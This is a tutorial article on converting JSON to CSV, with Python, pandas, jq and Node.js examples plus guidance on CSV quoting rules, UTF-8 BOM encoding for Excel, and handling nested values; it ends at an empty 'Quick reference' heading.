How to Convert JSON to CSV (And the Escaping Rules That Break It)

CSV looks like the simplest format in existence: values, commas, newlines. That simplicity is exactly why converting JSON to it is harder than it looks. JSON is a tree that can nest to any depth and carry six distinct types. CSV is a rectangle of untyped text. Every conversion is a lossy projection, and the interesting question is which losses you are choosing.

This guide covers the mechanics first, then the failure modes that actually bite.

The shape your JSON needs to be in

Every JSON-to-CSV converter expects the same thing: an array of flat objects.

[
  {"id": 1, "name": "Ada Lovelace", "role": "Engineer"},
  {"id": 2, "name": "Grace Hopper", "role": "Admiral"}
]

That maps cleanly: keys become the header row, each object becomes a data row. If your JSON is a single object, wrap it in an array. If it is an object whose values are the records — the shape most APIs return — you need to reach into it first:

{
  "status": "ok",
  "page": 1,
  "results": [
    {"id": 1, "name": "Ada Lovelace"},
    {"id": 2, "name": "Grace Hopper"}
  ]
}

Here the array you want is results, not the top-level object. Converting the whole document gives you a useless one-row CSV with a column called results containing a blob of JSON. This is the single most common reason people conclude a converter is broken.

Method 1: In the browser

Paste your JSON into our JSON to Excel converter and use Copy as CSV. Nested objects are flattened to dot notation automatically, and nothing leaves your machine — the conversion runs in your browser.

This is the right choice for one-off conversions of anything up to a few megabytes. For recurring jobs, or for files large enough that your browser tab starts to struggle, script it.

Method 2: Python with the standard library

No dependencies, and it streams — memory stays flat regardless of row count. This is the default worth reaching for:

import csv
import json

with open("data.json", encoding="utf-8") as f:
    records = json.load(f)

# Union of all keys, in first-seen order, so late-appearing fields
# are not silently dropped.
fieldnames = []
seen = set()
for record in records:
    for key in record:
        if key not in seen:
            seen.add(key)
            fieldnames.append(key)

with open("data.csv", "w", newline="", encoding="utf-8") as f:
    writer = csv.DictWriter(f, fieldnames=fieldnames)
    writer.writeheader()
    writer.writerows(records)

Two details in there matter more than they look. newline="" is not optional on Windows — leave it out and the csv module writes a carriage return, Python's text layer adds another one, and you get a blank line between every row. And building fieldnames from the union of keys rather than from records[0] handles ragged data, which is the norm in anything that came out of an API.

Method 3: pandas, when the data is nested

json_normalize flattens nested objects into dot-notation columns, which is the main reason to accept the dependency:

import json
import pandas as pd

with open("data.json", encoding="utf-8") as f:
    payload = json.load(f)

df = pd.json_normalize(payload["results"])
df.to_csv("data.csv", index=False, encoding="utf-8-sig")

A record like {"user": {"name": "Ada", "city": "London"}} becomes columns user.name and user.city. Pass sep="_" if you prefer underscores — dots can confuse spreadsheet formulas that read them as part of a reference.

For nested arrays — one order containing several line items — you have to decide whether one CSV row means one order or one line item. If it means one line item, explode:

df = pd.json_normalize(
    payload["orders"],
    record_path="items",           # nested array to expand into rows
    meta=["order_id", "customer"], # parent fields repeated on each row
)

That turns one order with three items into three rows, with the order ID repeated. See handling nested JSON for the full treatment of this decision.

Method 4: jq on the command line

For flat data, jq does it in one pass and handles all the quoting for you:

jq -r '(.[0] | keys_unsorted) as $keys
       | ($keys | @csv),
         (.[] | [.[$keys[]]] | @csv)' data.json > data.csv

@csv is the important part — it applies proper CSV quoting rather than naive string joining. keys_unsorted preserves the original field order; keys would alphabetise it.

If the records are nested under a key, pipe through it first:

jq -r '.results | (.[0] | keys_unsorted) as $keys
       | ($keys | @csv), (.[] | [.[$keys[]]] | @csv)' data.json > data.csv

Method 5: Node.js

const fs = require("fs");

const records = JSON.parse(fs.readFileSync("data.json", "utf8"));
const headers = [...new Set(records.flatMap(Object.keys))];

const escape = (value) => {
  if (value === null || value === undefined) return "";
  const s = String(value);
  return /[",\r\n]/.test(s) ? '"' + s.replace(/"/g, '""') + '"' : s;
};

const rows = records.map((r) => headers.map((h) => escape(r[h])).join(","));
const csv = [headers.map(escape).join(","), ...rows].join("\r\n");

const BOM = "\uFEFF"; // makes Excel read the file as UTF-8
fs.writeFileSync("data.csv", BOM + csv, "utf8");

That escape function is essentially the whole of RFC 4180, and it is worth understanding rather than copying, because it is exactly where hand-rolled converters go wrong.

The four characters that break CSV

A value has to be wrapped in double quotes if it contains any of these. Miss one and the file is silently misaligned — not rejected, misaligned, which is worse, because nothing tells you.

Inside a quoted value, a literal double quote is written twice. So the text She said "hi" is stored as "She said ""hi""". Python's csv module, pandas, and jq's @csv all do this correctly. String concatenation in your own code does not, which is why the Node example above carries an explicit escape function.

Encoding: why accented characters turn to mojibake

Write UTF-8, and Excel on Windows will often read it as Windows-1252 — so a French or German name comes back with an Ã wedged into the middle of it. Excel decides the encoding by looking for a byte order mark, and plain UTF-8 has none.

The fix is to write UTF-8 with a BOM:

# pandas
df.to_csv("data.csv", index=False, encoding="utf-8-sig")

# standard library
open("data.csv", "w", newline="", encoding="utf-8-sig")

utf-8-sig is UTF-8 plus the three-byte marker Excel looks for. In JavaScript, prepend "\uFEFF" to the string, as in the Node example above. Everything else — Python, pandas, most databases — skips the BOM transparently, so adding it costs you nothing.

What to do with nested values

You have three honest options, and the right one depends on who reads the file.

1. Flatten to dot notation.address.city, address.postcode. Best when the nesting is shallow and consistent. This is what our converter does by default.
2. Serialise the sub-object back to JSON in one cell. Nothing is lost, and a downstream script can parse it, but a human cannot read it and a spreadsheet cannot filter on it.
3. Explode into multiple rows. Correct when the nested array is the thing you actually want to analyse. Costs you the one-row-per-entity property.

What you should not accept is a conversion that emits [object Object] or a Python repr like {'city': 'London'} into a data file. Both mean the flattening step was skipped, and neither is reliably parseable later.

CSV or Excel?

If the file is going to a person, write .xlsx instead. CSV has no types, so every problem described in why Excel changes your data applies at import time: leading zeros vanish, long IDs become scientific notation, anything resembling a date gets converted. Writing XLSX directly lets you set the column type once and be done.

If the file is going to another program, CSV is usually right: it streams, it compresses well, every language reads it, and it has no version-specific quirks. See JSON vs CSV vs Excel for the longer comparison, and CSV to JSON for the trip back.

Quick reference